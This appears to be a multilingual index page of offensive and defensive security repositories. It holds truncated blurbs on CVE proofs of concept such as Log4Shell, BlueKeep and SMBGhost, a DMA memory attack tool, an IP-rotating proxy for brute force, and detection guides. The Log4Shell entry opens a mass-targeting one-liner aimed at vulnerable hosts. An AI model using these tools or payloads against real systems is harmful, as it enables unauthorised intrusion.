lumina_server

À propos POC d'un serveur hors ligne pour la fonctionnalité IDA Lumina. Plus de détails sur https://www.synacktiv.com/publications/investigating-ida-lumina-feature.html Installation Installation du paquet Python Téléchargez le projet et exécutez python lumina/setup.py ou pip install .. Le serveur...

IPSpinner

🔁 IPSpinner IPSpinner est un proxy local qui peut être utilisé pour rediriger toutes les requêtes entrantes via différents fournisseurs choisis. L'objectif est de créer un proxy de transit qui fait varier l'adresse IP source de chaque requête. Par exemple, lancer une opération de force brute via...

Log4Shell-Payloads

🚨 مجموعة حمولات Log4Shell قائمة منتقاة من حمولات استغلال Log4Shell / Log4J التي تستهدف: CVE-2021-45046 CVE-2022-42889 🔗 بواسطة @nav1n0x 🔥 حمولات من سطر واحد ✅ سطر واحد 1bash cat vulnerable-hosts.txt | sed 's/https?:////' | xargs -I echo...

BlackLotus-Detection

CVE-2022-21894 关于 CVE-2022-21894 的公开仓库 主页面 https://www.microsoft.com/en-us/security/blog/2023/04/11/guidance-for-investigating-attacks-using-cve-2022-21894-the-blacklotus-campaign/ Windows Defender 现在能够移除此威胁“可能易受攻击的 EFI 引导加载程序” 基础检测 挂载指定驱动器的 EFI 系统分区。 $ mountvol /s 搜索存在异常时间戳的 .efi 文件 $ dir...

Humax-CLI

Humax-CLI عميل طرفية غير رسمي لجهاز Humax IR4000HD مع ميزات محسّنة. كل هذا جاء من هندسة عكسية لتطبيق الأندرويد وستكون هناك مقالة في أقرب وقت 😄 لقطة شاشة الاستخدام : root@kitploit: usage: sendUDP.py -h -i IP -l --try-this --loop -j -b btn btn ... optional arguments: -h, --help show this help messa...

CVE-2024-38063

CVE-2024-38063 Уязвимость Windows, позволяющая осуществлять несанкционированную деятельность по сети: удалённое выполнение кода в стеке TCP/IP Windows. Две виртуальные машины — жертва и атакующий — готовы к симуляции атаки. На машине жертвы использовался инструмент захвата сетевых пакетов TShark...

external_expact_AOSP10_r33_CVE-2022-25314

Expat, version 2.2.6 Expat est une bibliothèque C pour l'analyse de XML, créée par James Clark en 1997. Expat est un analyseur XML orienté flux. Cela signifie que vous enregistrez des gestionnaires auprès de l'analyseur avant de commencer l'analyse. Ces gestionnaires sont appelés lorsque...

sherloq

डिजिटल छवि फोरेंसिक के लिए एक ओपन सोर्स टूलसेट परिचय "फोरेंसिक छवि विश्लेषण, कानूनी मामलों में किसी छवि की सामग्री और/या छवि की व्याख्या करने के लिए छवि विज्ञान और डोमेन विशेषज्ञता का अनुप्रयोग है। कानून प्रवर्तन अनुप्रयोगों के साथ फोरेंसिक छवि विश्लेषण के प्रमुख उप-विषयों में शामिल हैं:...

inception

Note: This tool is no longer under active development, please look at PCILeech instead. INCEPTION Inception is a physical memory manipulation and hacking tool exploiting PCI-based DMA. The tool can attack over FireWire, Thunderbolt, ExpressCard, PC Card and any other PCI/PCIe HW interfaces...

inception

ملاحظة: لم تعد هذه الأداة قيد التطوير النشط، يرجى الاطلاع على PCILeech بدلاً من ذلك. INCEPTION Inception هي أداة للتلاعب بالذاكرة الفعلية والقرصنة تستغل تقنية DMA القائمة على PCI. يمكن للأداة الهجوم عبر واجهات FireWire وThunderbolt وExpressCard وPC Card وأي واجهات أجهزة HW أخرى من نوع PCI/PCIe...

Ventoy

Ventoy Ventoy es una herramienta de código abierto para crear unidades USB arrancables para archivos ISO/WIM/IMG/VHDx/EFI. Con Ventoy, no necesitas formatear el disco una y otra vez, solo copia los archivos de imagen a la unidad USB e inícialos. Puedes copiar muchos archivos de imagen a la vez y...

Analysis-for-stage1-shellcode-loader-from-hacking-

Analyse du chargeur de shellcode du stage1 de Hacking Team Organigramme du code IoC réseau https://172\.20\.20\.164 root@kitploit: Mozilla/4.0 compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0;...

CVE-2026-60004

CVE-2026-60004 En savoir plus : https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84m Faire un don Soutenez la maintenance de ce projet via PayPal ou en scannant le code QR ci-dessous. ⚡ Utilisation simple Utilisez ce projet uniquement dans des environnements sûrs et autorisés...

CVE-2025-24071_POC

Видеоурок Создатель файлов библиотек Windows демонстрация CVE-2025-24071/CVE-2025-24054 Минималистичное приложение на Rust, демонстрирующее создание файлов библиотек Windows .library-ms с настраиваемыми сетевыми путями. Обзор Этот проект создаёт файлы описания библиотек Windows .library-ms,...

HiddenSteps

الصناديق الأساسية Core crates — حالة التنفيذ هذا هو المكمّل الأمين للحالة الراهنة لخريطة الوحدات المستهدفة في docs/design/02-system-architecture.md. إنه يوضح ما هو مبني فعلياً، وما تم التحقق منه مقابل خلفية حقيقية أو نموذج محاكى mock، وما لا يزال مفقوداً فعلياً — وليس ما هو مخطط له ذلك في...

ets5-password-recovery

ETS5 密码恢复工具 目录 简介 安装 系统要求 密码恢复如何工作？ 设计缺陷是如何发现的？ 如何降低风险？ 协调漏洞披露 许可证 更新日志 简介 您是否忘记了某个 ETS5 项目的密码，无法再访问 KNX 安装的配置？ETS5 密码恢复工具可让您检索存储在 ETS5 项目存储中的项目密码和其他机密。这是因为 ETS5 存在一个严重的设计缺陷，它使用硬编码的密码和盐值来加密项目信息（CVE-2021-36799）。 将加密秘密存储在源代码中是不明智的，因为它们可以通过逆向工程软件恢复，因此提供的保护比以明文形式存储信息好不了多少。这可能对 KNX...

CVE-2023-34839

CVE-2023-34839 — Issabel PBX 4.0.0-6：CSRF 导致权限提升 目录 概述 漏洞详情 受影响软件 CVSS 评分 攻击场景 概念验证 PoC 复现步骤 影响 修复建议 参考资料 免责声明 概述 CVE-2023-34839 是在 Issabel PBX 4.0.0-6 版本中发现的一个 跨站请求伪造 CSRF 漏洞。Issabel PBX 是一款广泛使用的开源统一通信平台。该漏洞存在于用户管理端点中，允许未经身份验证的远程攻击者通过诱使已认证的管理员访问特制网页，静默地创建一个新的管理员账户。 字段| 值 ---|--- CVE ID|...

Microsoft-Windows-SMBGhost-Vulnerability-Checker---CVE-2020-0796---SMBv3-RCE

Microsoft Windows SMBGhost Vulnerability Checker - CVE-2020-0796 - SMBv3-RCE Le scanner est destiné uniquement à tester si un serveur est vulnérable. Il n'est pas destiné à la recherche ou au développement, d'où la charge utile fixe. Il vérifie le dialecte SMB 3.1.1 et la capacité de compression...

CVE-2019-0708-EXP-Windows

CVE-2019-0708-EXP-Windows-Version Avertissement Le PoC de l'auteur est uniquement à des fins de recherche. Si le lecteur utilise ce PoC pour d'autres activités, cela n'engage pas ma responsabilité. Table des matières toc Introduction CVE-2019-0708-EXP-Windows est un fichier exe unique, fonctionna...

cve-2026-25676

بحث CVE-2026-25676 اختطاف مسار بحث DLL في مثبّت M-Track Duo HD نظرة عامة يحتوي هذا المستودع على بحث أولي وإثبات مفهوم مرتبط بـ CVE-2026-25676، وهي ثغرة اختطاف مسار بحث DLL تؤثر على مثبّت M-Track Duo HD 1.0.0. الهدف من هذا المشروع هو توثيق السبب الجذري، والتأثير، وفرص الكشف المرتبطة بهذه الفئة من...